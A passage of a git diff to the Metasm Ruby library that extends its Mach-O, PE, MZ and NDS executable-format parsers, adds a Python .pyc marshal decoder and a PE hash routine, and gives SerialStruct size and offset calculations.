ConstantUtf8.new + cpi.bytes = string + cpi.length = string.length + cp_add(cpi, 'Utf8') + end + + def cp_auto_class(classname) + if idx = cp_find('Class') { |i| string_at(i.index) == classname } + return idx + end + + cpi = ConstantIndex.new + cpi.index = cp_auto_utf8(classname) + cp_add(cpi, 'Class') + end + + def cp_add_methodref(classname, name, descriptor) + nat = ConstantNameAndType.new + nat.name_index = cp_auto_utf8(name) + nat.descriptor_index = cp_auto_utf8(descriptor) + natidx = cp_add(nat, 'NameAndType') + + cpi = ConstantRef.new + cpi.class_index = cp_auto_class(classname) + cpi.name_and_type_index = natidx + + cp_add(cpi, 'Methodref') + end + + def attribute_create(name, data) + a = AttributeInfo.new + a.attribute_name_index = cp_auto_utf8(name) + a.attribute_length = data.size + a.data = data + a + end +end +end diff --git a/lib/metasm/metasm/exe_format/macho.rb b/lib/metasm/metasm/exe_format/macho.rb index a8c830d98e..21c21b37d9 100644 --- a/lib/metasm/metasm/exe_format/macho.rb +++ b/lib/metasm/metasm/exe_format/macho.rb @@ -17,6 +17,9 @@ class MachO < ExeFormat MAGICS = [MAGIC, CIGAM, MAGIC64, CIGAM64] + # "a" != "a" lolz! + MAGICS.each { |s| s.force_encoding('BINARY') } if MAGIC.respond_to?(:force_encoding) + CPU = { 1 => 'VAX', 2 => 'ROMP', 4 => 'NS32032', 5 => 'NS32332', @@ -44,7 +47,7 @@ class MachO < ExeFormat 3 => 'MMAX_APC_FPU', 4 => 'MMAX_APC_FPA', 5 => 'MMAX_XPC', }, 'I386' => { 3 => 'ALL', 4 => '486', 4+128 => '486SX', - 0 => 'INTEL_MODEL_ALL', 10 => 'PENTIUM_4', + 0 => 'INTEL_MODEL_ALL', 10 => 'PENTIUM_4', 5 => 'PENT', 0x16 => 'PENTPRO', 0x36 => 'PENTII_M3', 0x56 => 'PENTII_M5', }, 'MIPS' => { 0 => 'ALL', 1 => 'R2300', 2 => 'R2600', 3 => 'R2800', 4 => 'R2000a', }, @@ -52,6 +55,7 @@ class MachO < ExeFormat 'HPPA' => { 0 => 'ALL', 1 => '7100LC', }, 'ARM' => { 0 => 'ALL', 1 => 'A500_ARCH', 2 => 'A500', 3 => 'A440', 4 => 'M4', 5 => 'A680', 6 => 'ARMV6', 9 => 'ARMV7', + 11 => 'ARMV7S', }, 'MC88000' => { 0 => 'ALL', 1 => 'MC88100', 2 => 'MC88110', }, :wtf => { 0 => 'MC98000_ALL', 1 => 'MC98601', }, @@ -82,7 +86,7 @@ class MachO < ExeFormat 0x10 => 'PREBOUND', 0x20 => 'SPLIT_SEGS', 0x40 => 'LAZY_INIT', 0x80 => 'TWOLEVEL', 0x100 => 'FORCE_FLAT', 0x200 => 'NOMULTIDEFS', 0x400 => 'NOFIXPREBINDING', 0x800 => 'PREBINDABLE', 0x1000 => 'ALLMODSBOUND', 0x2000 => 'SUBSECTIONS_VIA_SYMBOLS', 0x4000 => 'CANONICAL', 0x8000 => 'WEAK_DEFINES', - 0x10000 => 'BINDS_TO_WEAK', 0x20000 => 'ALLOW_STACK_EXECUTION', + 0x10000 => 'BINDS_TO_WEAK', 0x20000 => 'ALLOW_STACK_EXECUTION', 0x200000 => 'MH_PIE', } SEG_PROT = { 1 => 'READ', 2 => 'WRITE', 4 => 'EXECUTE' } @@ -96,12 +100,13 @@ class MachO < ExeFormat 0x15 => 'SUB_LIBRARY', 0x16 => 'TWOLEVEL_HINTS', 0x17 => 'PREBIND_CKSUM', 0x8000_0018 => 'LOAD_WEAK_DYLIB', 0x19 => 'SEGMENT_64', 0x1a => 'ROUTINES_64', 0x1b => 'UUID', 0x8000_001c => 'RPATH', 0x1d => 'CODE_SIGNATURE_PTR', 0x1e => 'CODE_SEGMENT_SPLIT_INFO', + 0x21 => 'ENCRYPTION_INFO', 0x8000_001f => 'REEXPORT_DYLIB', #0x8000_0000 => 'REQ_DYLD', } THREAD_FLAVOR = { - 'POWERPC' => { + 'POWERPC' => { 1 => 'THREAD_STATE', 2 => 'FLOAT_STATE', 3 => 'EXCEPTION_STATE', @@ -126,6 +131,15 @@ class MachO < ExeFormat SYM_SCOPE = { 0 => 'LOCAL', 1 => 'GLOBAL' } SYM_TYPE = { 0 => 'UNDF', 2/2 => 'ABS', 0xa/2 => 'INDR', 0xe/2 => 'SECT', 0x1e/2 => 'TYPE' } SYM_STAB = { } + IND_SYM_IDX = { 0x4000_0000 => 'INDIRECT_SYMBOL_ABS', 0x8000_0000 => 'INDIRECT_SYMBOL_LOCAL' } + + GENERIC_RELOC = { 0 => 'VANILLA', 1 => 'PAIR', 2 => 'SECTDIFF', 3 => 'LOCAL_SECTDIFF', 4 => 'PB_LA_PTR' } + + SEC_TYPE = { + 0 => 'REGULAR', 1 => 'ZEROFILL', 2 => 'CSTRING_LITERALS', 3 => '4BYTE_LITERALS', + 4 => '8BYTE_LITERALS', 5 => 'LITERAL_POINTERS', 6 => 'NON_LAZY_SYMBOL_POINTERS', + 7 => 'LAZY_SYMBOL_POINTERS', 8 => 'SYMBOL_STUBS', 9 => 'MOD_INIT_FUNC_POINTERS' + } class SerialStruct < Metasm::SerialStruct new_int_field :xword @@ -180,7 +194,7 @@ class MachO < ExeFormat def decode(m) super(m) ptr = m.encoded.ptr - if @cmd.kind_of? String and self.class.constants.map { |c| c.to_s }.include? @cmd + if @cmd.kind_of?(String) and self.class.constants.map { |c| c.to_s }.include?(@cmd) @data = self.class.const_get(@cmd).decode(m) end m.encoded.ptr = ptr + @cmdsize - 8 @@ -193,7 +207,7 @@ class MachO < ExeFormat end def encode(m) - ed = super(m) + ed = super(m) ed << @data.encode(m) if @data ed.align(m.size >> 3) ed.fixup! @cmdsize => ed.length if @cmdsize.kind_of? String @@ -243,7 +257,10 @@ class MachO < ExeFormat str :name, 16 str :segname, 16 xwords :addr, :size - words :offset, :align, :reloff, :nreloc, :flags, :res1, :res2 + words :offset, :align, :reloff, :nreloc + bitfield :word, 0 => :type, 8 => :attributes_sys, 24 => :attributes_usr + words :res1, :res2 + fld_enum :type, SEC_TYPE attr_accessor :res3 # word 64bit only attr_accessor :segment, :encoded @@ -258,10 +275,6 @@ class MachO < ExeFormat # addr, offset, etc = @segment.virtaddr + 42 super(m) end - - def decode_inner(m) - @encoded = m.encoded[m.addr_to_off(@addr), @size] - end end SECTION_64 = SECTION @@ -279,7 +292,7 @@ class MachO < ExeFormat words :flavor, :count fld_enum(:flavor) { |m, t| THREAD_FLAVOR[m.header.cputype] || {} } attr_accessor :ctx - + def entrypoint(m) @ctx ||= {} case m.header.cputype @@ -346,6 +359,7 @@ class MachO < ExeFormat end LOAD_DYLIB = DYLIB ID_DYLIB = DYLIB + LOAD_WEAK_DYLIB = DYLIB class PREBOUND_DYLIB < STRING word :stroff @@ -356,6 +370,10 @@ class MachO < ExeFormat LOAD_DYLINKER = STRING ID_DYLINKER = STRING + class ENCRYPTION_INFO < SerialStruct + words :cryptoff, :cryptsize, :cryptid + end + class ROUTINES < SerialStruct xwords :init_addr, :init_module, :res1, :res2, :res3, :res4, :res5, :res6 end @@ -388,7 +406,7 @@ class MachO < ExeFormat end end - class CODE_SIGNATURE < SerialStruct + class CODE_SIGNATURE < SerialStruct word :magic word :size word :count @@ -479,6 +497,12 @@ class MachO < ExeFormat end end + class Relocation < SerialStruct + word :address + bitfield :word, 0 => :symbolnum, 24 => :pcrel, 25 => :length, 27 => :extern, 28 => :type + fld_enum :type, GENERIC_RELOC + end + def encode_byte(val) Expression[val].encode( :u8, @endianness) end def encode_half(val) Expression[val].encode(:u16, @endianness) end def encode_word(val) Expression[val].encode(:u32, @endianness) end @@ -487,6 +511,10 @@ class MachO < ExeFormat def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end def decode_xword(edata= @encoded) edata.decode_imm((@size == 32 ? :u32 : :u64), @endianness) end + def sizeof_byte ; 1 ; end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end + def sizeof_xword ; @size == 32 ? 4 : 8 ; end attr_accessor :endianness, :size @@ -494,6 +522,7 @@ class MachO < ExeFormat attr_accessor :segments attr_accessor :commands attr_accessor :symbols + attr_accessor :relocs def initialize(cpu=nil) super(cpu) @@ -523,6 +552,35 @@ class MachO < ExeFormat decode_relocations end + # return the segment containing address, set seg.encoded.ptr to the correct offset + def segment_at(addr) + return if not addr or addr <= 0 + if seg = @segments.find { |seg_| addr >= seg_.virtaddr and addr < seg_.virtaddr + seg_.virtsize } + seg.encoded.ptr = addr - seg.virtaddr + seg + end + end + + def addr_to_fileoff(addr) + s = @segments.find { |s_| s_.virtaddr <= addr and s_.virtaddr + s_.virtsize > addr } if addr + addr - s.virtaddr + s.fileoff if s + end + + def fileoff_to_addr(foff) + if s = @segments.find { |s_| s_.fileoff <= foff and s_.fileoff + s_.filesize > foff } + s.virtaddr + module_address + foff - s.fileoff + end + end + + def module_address + @segments.map { |s_| s_.virtaddr }.min || 0 + end + + def module_size + return 0 if not sz = @segments.map { |s_| s_.virtaddr + s_.virtsize }.max + sz - module_address + end + def decode_symbols @symbols = [] ep_count = 0 @@ -537,30 +595,159 @@ class MachO < ExeFormat when 'THREAD', 'UNIXTHREAD' ep_count += 1 ep = cmd.data.entrypoint(self) - next if not seg = @segments.find { |seg_| ep >= seg_.virtaddr and ep < seg_.virtaddr + seg_.virtsize } - seg.encoded.add_export("entrypoint#{"_#{ep_count}" if ep_count >= 2 }", ep - seg.virtaddr) + next if not seg = segment_at(ep) + seg.encoded.add_export("entrypoint#{"_#{ep_count}" if ep_count >= 2 }") end } @symbols.each { |s| next if s.value == 0 or not s.name - next if not seg = @segments.find { |seg_| s.value >= seg_.virtaddr and s.value < seg_.virtaddr + seg_.virtsize } - seg.encoded.add_export(s.name, s.value - seg.virtaddr) + next if not seg = segment_at(s.value) + seg.encoded.add_export(s.name) } end def decode_relocations + @relocs = [] + indsymtab = [] + @commands.each { |cmd| + if cmd.cmd == 'DYSYMTAB' + @encoded.ptr = cmd.data.extreloff + cmd.data.nextrel.times { @relocs << Relocation.decode(self) } + @encoded.ptr = cmd.data.locreloff + cmd.data.nlocrel.times { @relocs << Relocation.decode(self) } + @encoded.ptr = cmd.data.indirectsymoff + cmd.data.nindirectsyms.times { indsymtab << decode_word } + end + } + @segments.each { |seg| + seg.sections.each { |sec| + @encoded.ptr = sec.reloff + sec.nreloc.times { @relocs << Relocation.decode(self) } + + case sec.type + when 'NON_LAZY_SYMBOL_POINTERS', 'LAZY_SYMBOL_POINTERS' + edata = seg.encoded + off = sec.offset - seg.fileoff + (sec.size / 4).times { |i| + sidx = indsymtab[sec.res1+i] + case IND_SYM_IDX[sidx] + when 'INDIRECT_SYMBOL_LOCAL' # base reloc: add delta from prefered image base + edata.ptr = off + addr = decode_word(edata) + if s = segment_at(addr) + label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") + seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[label], :u32, @endianness) + end + when 'INDIRECT_SYMBOL_ABS' # nothing + else + sym = @symbols[sidx] + seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[sym.name], :u32, @endianness) + end + off += 4 + } + when 'SYMBOL_STUBS' + # TODO next unless arch == 386 and sec.attrs & SELF_MODIFYING_CODE and sec.res2 == 5 + + edata = seg.encoded + edata.data = edata.data.to_str.dup + off = sec.offset - seg.fileoff + 1 + (sec.size / 5).times { |i| + sidx = indsymtab[sec.res1+i] + case IND_SYM_IDX[sidx] + when 'INDIRECT_SYMBOL_LOCAL' # base reloc: add delta from prefered image base + edata.ptr = off + addr = decode_word(edata) + if s = segment_at(addr) + label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") + seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[label, :-, Expression[seg.virtaddr, :+, off+4].reduce], :u32, @endianness) + end + when 'INDIRECT_SYMBOL_ABS' # nothing + else + seg.encoded[off-1] = 0xe9 + sym = @symbols[sidx] + seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[sym.name, :-, Expression[seg.virtaddr, :+, off+4].reduce], :u32, @endianness) + end + off += 5 + } + + end + } + } + seg = nil + @relocs.each { |r| + if r.extern == 1 + sym = @symbols[r.symbolnum] + seg = @segments.find { |sg| sg.virtaddr <= r.address and sg.virtaddr + sg.virtsize > r.address } unless seg and seg.virtaddr <= r.address and seg.virtaddr + seg.virtsize > r.address + if not seg + puts "macho: reloc to unmapped space #{r.inspect} #{sym.inspect}" if $VERBOSE + next + end + seg.encoded.reloc[r.address - seg.virtaddr] = Metasm::Relocation.new(Expression[sym.name], :u32, @endianness) + end + } end def decode_segment(s) + @encoded.add_export(s.name, s.fileoff) s.encoded = @encoded[s.fileoff, s.filesize] s.encoded.virtsize = s.virtsize - s.sections.each { |ss| ss.encoded = @encoded[ss.offset, ss.size] } + s.sections.each { |ss| + ss.encoded = @encoded[ss.offset, ss.size] + s.encoded.add_export(ss.name, ss.offset - s.fileoff) + } end def each_section(&b) @segments.each { |s| yield s.encoded, s.virtaddr } end + def section_info + ret = [] + @segments.each { |seg| + ret.concat seg.sections.map { |s| [s.name, s.addr, s.size, s.type] } + } + ret + end + + def init_disassembler + d = super() + case @cpu.shortname + when 'ia32', 'x64' + old_cp = d.c_parser + d.c_parser = nil + d.parse_c < true, :maxdepth => maxdepth) + if fnaddr.kind_of?(::Array) and fnaddr.length == 1 and s = dasm.decode_strz(fnaddr.first, 64) and s.length > sz + bind = bind.merge @cpu.register_symbols[0] => Expression[s] + end + bind + } + + df = d.function[:default] = @cpu.disassembler_default_func + df.backtrace_binding[@cpu.register_symbols[4]] = Expression[@cpu.register_symbols[4], :+, @cpu.size/8] + df.btbind_callback = nil + end + d + end + def get_default_entrypoints @commands.find_all { |cmd| cmd.cmd == 'THREAD' or cmd.cmd == 'UNIXTHREAD' }.map { |cmd| cmd.data.entrypoint(self) } end @@ -795,6 +982,7 @@ class UniversalBinary < ExeFormat def encode_word(val) Expression[val].encode(:u32, @endianness) end def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end + def sizeof_word ; 4 ; end attr_accessor :endianness, :encoded, :header, :archive def initialize diff --git a/lib/metasm/metasm/exe_format/main.rb b/lib/metasm/metasm/exe_format/main.rb index 6134148e13..3f47ab793f 100644 --- a/lib/metasm/metasm/exe_format/main.rb +++ b/lib/metasm/metasm/exe_format/main.rb @@ -16,7 +16,7 @@ class ExeFormat # creates a new instance, populates self.encoded with the supplied string def self.load(str, *a, &b) e = new(*a, &b) - if str.kind_of? EncodedData; e.encoded = str + if str.kind_of?(EncodedData); e.encoded = str else e.encoded << str end e @@ -63,6 +63,30 @@ class ExeFormat e end + def load(str) + if str.kind_of?(EncodedData); @encoded = str + else @encoded << str + end + self + end + + def load_file(path) + @filename ||= path + load(VirtualFile.read(path)) + end + + def decode_file(path) + load_file(path) + decode + self + end + + def decode_file_header(path) + load_file(path) + decode_header + self + end + # creates a new object using the specified cpu, parses the asm source, and assemble def self.assemble(cpu, source, file='', lineno=1) source, cpu = cpu, source if source.kind_of? CPU @@ -175,9 +199,8 @@ class ExeFormat end # saves the result of +encode_string+ in the specified file - # fails if the file already exists + # overwrites existing files def encode_file(path, *a) - #raise Errno::EEXIST, path if File.exist? path # race, but cannot use O_EXCL, as O_BINARY is not defined in ruby encode_string(*a) File.open(path, 'wb') { |fd| fd.write(@encoded.data) } end diff --git a/lib/metasm/metasm/exe_format/mz.rb b/lib/metasm/metasm/exe_format/mz.rb index e640509d0d..5097be9123 100644 --- a/lib/metasm/metasm/exe_format/mz.rb +++ b/lib/metasm/metasm/exe_format/mz.rb @@ -51,6 +51,7 @@ class MZ < ExeFormat def encode_word(val) Expression[val].encode(:u16, @endianness) end # decodes a 16bits word from self.encoded def decode_word(edata = @encoded) edata.decode_imm(:u16, @endianness) end + def sizeof_word ; 2 ; end attr_accessor :endianness, :header, :source diff --git a/lib/metasm/metasm/exe_format/nds.rb b/lib/metasm/metasm/exe_format/nds.rb index 0e9cb80a78..c0519287fa 100644 --- a/lib/metasm/metasm/exe_format/nds.rb +++ b/lib/metasm/metasm/exe_format/nds.rb @@ -30,7 +30,7 @@ class NDS < ExeFormat mem :secareadisable, 8 words :endoff, :headersz mem :reserved4, 56 - mem :ninlogo, 156 + mem :ninlogo, 156 half :logoCRC, 0xcf56 half :headerCRC end @@ -70,14 +70,17 @@ class NDS < ExeFormat def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end + def sizeof_byte ; 1 ; end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end attr_accessor :header, :icon, :arm9, :arm7 attr_accessor :files, :fat - def initialize(endianness=:little) - @endianness = endianness - @encoded = EncodedData.new + def initialize(cpu=nil) + @endianness = (cpu ? cpu.endianness : :little) + super(cpu) end # decodes the header from the current offset in self.encoded diff --git a/lib/metasm/metasm/exe_format/pe.rb b/lib/metasm/metasm/exe_format/pe.rb index 8803a317f7..9f8e7d6181 100644 --- a/lib/metasm/metasm/exe_format/pe.rb +++ b/lib/metasm/metasm/exe_format/pe.rb @@ -215,7 +215,7 @@ EOS # TODO seh prototype (args => context) # TODO hook on (non)resolution of :w xref def get_xrefs_x(dasm, di) - if @cpu.shortname =~ /ia32|x64/ and a = di.instruction.args.first and a.kind_of? Ia32::ModRM and a.seg and a.seg.val == 4 and + if @cpu.shortname =~ /^ia32|^x64/ and a = di.instruction.args.first and a.kind_of?(Ia32::ModRM) and a.seg and a.seg.val == 4 and w = get_xrefs_rw(dasm, di).find { |type, ptr, len| type == :w and ptr.externals.include? 'segment_base_fs' } and dasm.backtrace(Expression[w[1], :-, 'segment_base_fs'], di.address).to_a.include?(Expression[0]) sehptr = w[1] @@ -225,7 +225,7 @@ EOS puts "backtrace seh from #{di} => #{a.map { |addr| Expression[addr] }.join(', ')}" if $VERBOSE a.each { |aa| next if aa == Expression::Unknown - l = dasm.auto_label_at(aa, 'seh', 'loc', 'sub') + dasm.auto_label_at(aa, 'seh', 'loc', 'sub') dasm.addrs_todo << [aa] } super(dasm, di) @@ -243,17 +243,19 @@ EOS old_cp = d.c_parser d.c_parser = nil d.parse_c '__stdcall void *GetProcAddress(int, char *);' - d.c_parser.lexer.define_weak('__MS_X86_64_ABI__') if @cpu.kind_of? X86_64 + d.parse_c '__stdcall void ExitProcess(int) __attribute__((noreturn));' + d.c_parser.lexer.define_weak('__MS_X86_64_ABI__') if @cpu.shortname == 'x64' gpa = @cpu.decode_c_function_prototype(d.c_parser, 'GetProcAddress') + epr = @cpu.decode_c_function_prototype(d.c_parser, 'ExitProcess') d.c_parser = old_cp d.parse_c '' - d.c_parser.lexer.define_weak('__MS_X86_64_ABI__') if @cpu.kind_of? X86_64 + d.c_parser.lexer.define_weak('__MS_X86_64_ABI__') if @cpu.shortname == 'x64' @getprocaddr_unknown = [] gpa.btbind_callback = lambda { |dasm, bind, funcaddr, calladdr, expr, origin, maxdepth| break bind if @getprocaddr_unknown.include? [dasm, calladdr] or not Expression[expr].externals.include? :eax sz = @cpu.size/8 break bind if not dasm.decoded[calladdr] - if @cpu.kind_of? X86_64 + if @cpu.shortname == 'x64' arg2 = :rdx else arg2 = Indirection[[:esp, :+, 2*sz], sz, calladdr] @@ -268,6 +270,7 @@ EOS bind } d.function[Expression['GetProcAddress']] = gpa + d.function[Expression['ExitProcess']] = epr d.function[:default] = @cpu.disassembler_default_func end d @@ -294,6 +297,35 @@ EOS } if export syms end + + # compute the pe-sha1 or pe-sha256 of the binary + # argument should be a Digest::SHA1 (from digest/sha1) or a Digest::SHA256 (from digest/sha2) + # returns the hex checksum + def pehash(digest) + off0 = 0 + off1 = @coff_offset + @header.sizeof(self) + @optheader.offsetof(self, :checksum) + + dir_ct_idx = DIRECTORIES.index('certificate_table') + if @optheader.numrva > dir_ct_idx + off2 = @coff_offset + @header.sizeof(self) + @optheader.sizeof(self) + 8*dir_ct_idx + ct_size = @encoded.data[off2, 8].unpack('V*')[1] + off3 = @encoded.length - ct_size + else + off4 = @encoded.length + end + + digest << @encoded.data[off0 ... off1].to_str + digest << @encoded.data[off1+4 ... off2].to_str if off2 + digest << @encoded.data[off2+8 ... off3].to_str if off2 and off3 > off2+8 + digest << @encoded.data[off1+4 ... off4].to_str if off4 + digest << ("\0" * (8 - (@encoded.length & 7))) if @encoded.length & 7 != 0 + + digest.hexdigest + end + + def self.pehash(path, digest) + decode_file_header(path).pehash(digest) + end end # an instance of a PE file, loaded in memory @@ -312,7 +344,7 @@ class LoadedPE < PE # reads a loaded PE from memory, returns a PE object # dumps the header, optheader and all sections ; try to rebuild IAT (#memdump_imports) - def self.memdump(memory, baseaddr, entrypoint = nil, iat_p=nil) + def self.memdump(memory, baseaddr, entrypoint=nil, iat_p=nil) loaded = LoadedPE.load memory[baseaddr, 0x1000_0000] loaded.load_address = baseaddr loaded.decode @@ -372,7 +404,6 @@ class LoadedPE < PE else # read imported pointer from the import structure while not ptr = imports.first.iat.shift - load_dll = nil imports.shift break if imports.empty? iat_p = imports.first.iat_p @@ -415,6 +446,7 @@ class LoadedPE < PE puts 'unknown ptr %x' % ptr if $DEBUG # allow holes in the unk_iat_p table break if not unk_iat_p or failcnt > 4 + loaded_dll = nil failcnt += 1 next end @@ -422,7 +454,7 @@ class LoadedPE < PE end # dumped last importdirectory is correct, append the import field - i = ImportDirectory::Import.new + i = ImportDirectory::Import.new if e.name puts e.name if $DEBUG i.name = e.name @@ -433,5 +465,9 @@ class LoadedPE < PE dump.imports.last.imports << i end end + + def pehash(digest) + raise "cannot compute a PEhash from memory image" + end end end diff --git a/lib/metasm/metasm/exe_format/pyc.rb b/lib/metasm/metasm/exe_format/pyc.rb new file mode 100644 index 0000000000..cad1da61bf --- /dev/null +++ b/lib/metasm/metasm/exe_format/pyc.rb @@ -0,0 +1,167 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/exe_format/main' +require 'metasm/encode' +require 'metasm/decode' + + +module Metasm +# Python preparsed module (.pyc) +class PYC < ExeFormat + # 1 magic per python version... + # file = MAGIC(u16) \r \n timestamp(u32) data + MAGICS = [ + 62211 # 62211 = python2.7a0 + ] + + class Header < SerialStruct + half :version + half :rn + word :timestamp + end + + def decode_half(edata=@encoded) edata.decode_imm(:u16, @endianness) end + def decode_word(edata=@encoded) edata.decode_imm(:u32, @endianness) end + def decode_long(edata=@encoded) edata.decode_imm(:i32, @endianness) end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end + def sizeof_long ; 4 ; end + + # file header + attr_accessor :header + # the marshalled object + attr_accessor :root + # list of all code objects + attr_accessor :all_code + + def initialize() + @endianness = :little + @encoded = EncodedData.new + super() + end + + def decode_header + @header = Header.decode(self) + end + + def decode_pymarshal + case c = @encoded.read(1) + when '0' # NULL + :null + when 'N' # None + nil + when 'F' # False + false + when 'T' # True + true + #when 'S' # stopiter TODO + #when '.' # ellipsis TODO + when 'i' # long (i32) + decode_long + when 'I' # long (i64) + decode_word | (decode_long << 32) + when 'f' # float (ascii) + @encoded.read(@encoded.read(1).unpack('C').first).to_f + when 'g' # float (binary) + @encoded.read(8).unpack('d').first # XXX check + when 'x' # complex (f f) + { :type => :complex, + :real => @encoded.read(@encoded.read(1).unpack('C').first).to_f, + :imag => @encoded.read(@encoded.read(1).unpack('C').first).to_f } + when 'y' # complex (g g) + { :type => :complex, + :real => @encoded.read(8).unpack('d').first, + :imag => @encoded.read(8).unpack('d').first } + when 'l' # long (i32?) + decode_long + when 's' # string: len (long), data + @encoded.read(decode_long) + when 't' # 'interned': string with possible backreference later + s = @encoded.read(decode_long) + @references << s + s + when 'R' # stringref (see 't') + @references[decode_long] + when '(' # tuple (frozen Array): length l*objs + obj = [] + decode_long.times { obj << decode_pymarshal } + obj + when '[' # list (Array) + obj = [] + decode_long.times { obj << decode_pymarshal } + obj + when '{' # dict (Hash) + obj = {} + loop do + k = decode_pymarshal + break if k == :null + obj[k] = decode_pymarshal + end + { :type => hash, :hash => obj } # XXX to avoid confusion with code, etc + when 'c' # code + # XXX format varies with version (header.signature) + obj = {} + obj[:type] = :code + obj[:argcount] = decode_long + #obj[:kwonly_argcount] = decode_long # not in py2.7 + obj[:nlocals] = decode_long + obj[:stacksize] = decode_long + obj[:flags] = decode_long # TODO bit-decode this one + + obj[:fileoff] = @encoded.ptr + 5 # XXX assume :code is a 's' + obj[:code] = decode_pymarshal + obj[:consts] = decode_pymarshal + obj[:names] = decode_pymarshal + obj[:varnames] = decode_pymarshal + obj[:freevars] = decode_pymarshal + obj[:cellvars] = decode_pymarshal + obj[:filename] = decode_pymarshal + obj[:name] = decode_pymarshal + obj[:firstlineno] = decode_long + obj[:lnotab] = decode_pymarshal + @all_code << obj + obj + when 'u' # unicode + @encoded.read(decode_long) + #when '?' # unknown TODO + #when '<' # set TODO + #when '>' # set (frozen) TODO + else + raise "unsupported python marshal #{c.inspect}" + end + end + + def decode + decode_header + @all_code = [] + @references = [] + @root = decode_pymarshal + @references = nil + end + + def cpu_from_headers + Python.new(self) + end + + def each_section + yield @encoded, 0 + end + + def get_default_entrypoints + if @root.kind_of? Hash and @root[:type] == :code + [@root[:fileoff]] + else + [] + end + end + + # return the :code part which contains off + def code_at_off(off) + @all_code.find { |c| c[:fileoff] <= off and c[:fileoff] + c[:code].length > off } + end +end +end diff --git a/lib/metasm/metasm/exe_format/serialstruct.rb b/lib/metasm/metasm/exe_format/serialstruct.rb index 9866878936..5154dc01e8 100644 --- a/lib/metasm/metasm/exe_format/serialstruct.rb +++ b/lib/metasm/metasm/exe_format/serialstruct.rb @@ -13,19 +13,20 @@ class SerialStruct NAME=0 DECODE=1 ENCODE=2 - DEFVAL=3 - ENUM=4 - BITS=5 + SIZEOF=3 + DEFVAL=4 + ENUM=5 + BITS=6 class << self # defines a new field # adds an accessor - def new_field(name, decode, encode, defval, enum=nil, bits=nil) + def new_field(name, decode, encode, sizeof, defval, enum=nil, bits=nil) if name attr_accessor name name = "@#{name}".to_sym end - (@@fields[self] ||= []) << [name, decode, encode, defval, enum, bits] + (@@fields[self] ||= []) << [name, decode, encode, sizeof, defval, enum, bits] end # creates a field constructor for a simple integer @@ -34,7 +35,7 @@ class << self recv = class << self ; self ; end types.each { |type| recv.send(:define_method, type) { |name, *args| - new_field(name, "decode_#{type}".to_sym, "encode_#{type}".to_sym, args[0] || 0, args[1]) + new_field(name, "decode_#{type}".to_sym, "encode_#{type}".to_sym, "sizeof_#{type}".to_sym, args[0] || 0, args[1]) } # shortcut to define multiple fields of this type with default values @@ -46,24 +47,33 @@ class << self # standard fields: + # virtual field, handled explicitly in a custom encode/decode + def virtual(*a) + a.each { |f| + new_field(f, nil, nil, nil, nil) + } + end + # a fixed-size memory chunk def mem(name, len, defval='') - new_field(name, lambda { |exe, me| exe.curencoded.read(len) }, lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }, defval) + new_field(name, lambda { |exe, me| exe.curencoded.read(len) }, lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }, lambda { |exe, me| len }, defval) end # a fixed-size string, 0-padded def str(name, len, defval='') - e = lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) } d = lambda { |exe, me| v = exe.curencoded.read(len) ; v = v[0, v.index(?\0)] if v.index(?\0) ; v } - new_field(name, d, e, defval) + e = lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) } + s = lambda { |exe, me| len } + new_field(name, d, e, s, defval) end # 0-terminated string def strz(name, defval='') d = lambda { |exe, me| - ed = exe.curencoded + ed = exe.curencoded ed.read(ed.data.index(?\0, ed.ptr)-ed.ptr+1).chop } e = lambda { |exe, me, val| val + 0.chr } - new_field(name, d, e, defval) + s = lambda { |exe, val| val.length + 1 } + new_field(name, d, e, s, defval) end # field access @@ -93,7 +103,7 @@ class << self d = lambda { |exe, me| @bitfield_val = exe.send("decode_#{inttype}") } # reset a temp var e = lambda { |exe, me, val| @bitfield_val = 0 ; nil } - new_field(nil, d, e, nil) + new_field(nil, d, e, 0, nil) h = h.sort h.length.times { |i| @@ -107,7 +117,7 @@ class << self d = lambda { |exe, me| (@bitfield_val >> off) & mask } # update the temp var with the field value, return nil e = lambda { |exe, me, val| @bitfield_val |= (val & mask) << off ; nil } - new_field(name, d, e, 0) + new_field(name, d, e, 0, 0) } # free the temp var @@ -118,11 +128,13 @@ class << self @bitfield_val = nil exe.send("encode_#{inttype}", val) } - new_field(nil, d, e, nil) + s = lambda { |exe, me| exe.send("sizeof_#{inttype}") } + new_field(nil, d, e, s, nil) end # inject a hook to be run during the decoding process def decode_hook(before=nil, &b) + @@fields[self] ||= [] idx = (before ? @@fields[self].index(fld_get(before)) : -1) @@fields[self].insert(idx, [nil, b]) end @@ -209,6 +221,39 @@ end # class methods ed end + # size of the structure = fields.sum { size of field } + def sizeof(exe) + struct_fields(exe).inject(0) { |off, f| + case sz = f[SIZEOF] + when Proc; sz = sz[exe, self] + when Symbol; sz = exe.send(sz) + when Array; sz = exe.send(*sz) + when nil; sz = 0 + end + off + sz + } + end + + # offset (in bytes) of the structure member + # for bitfields, return the byte offset of the whole bitfield + def offsetof(exe, fld) + fld2 = fld + fld2 = "@#{fld}".to_sym if fld.to_s[0] != ?@ + off = 0 + struct_fields(exe).each { |f| + return off if f[NAME] == fld or f[NAME] == fld2 + + case sz = f[SIZEOF] + when Proc; sz = sz[exe, self] + when Symbol; sz = exe.send(sz) + when Array; sz = exe.send(*sz) + when nil; sz = 0 + end + off += sz + } + raise 'unknown field' + end + # shortcut to create a new instance and 